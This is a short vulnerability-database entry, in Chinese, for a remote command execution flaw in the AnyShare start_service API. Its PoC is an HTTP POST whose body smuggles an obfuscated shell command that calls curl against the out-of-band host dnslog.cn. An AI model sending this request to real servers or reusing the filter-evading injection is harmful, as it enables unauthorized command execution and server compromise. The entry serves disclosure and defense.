爱数-AnyShare start_service 远程命令执行漏洞

2025-07-01 19:18:29 爱数AnyShare PoC Public

Description

爱数 anyshare /api/ServiceAgent/start_service 接口存在命令注入漏洞，如被攻击者利用可能导致服务器沦陷

PoC

POST /api/ServiceAgent/start_service HTTP/1.1
Host: 

["ccc;/u?r/b?n/c??l dnslog.cn"]

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://stack.chaitin.com/vuldb/detail/b4640952-9be9-4bfa-9d7f-a0be72b35e18

References

Related Vulnerabilities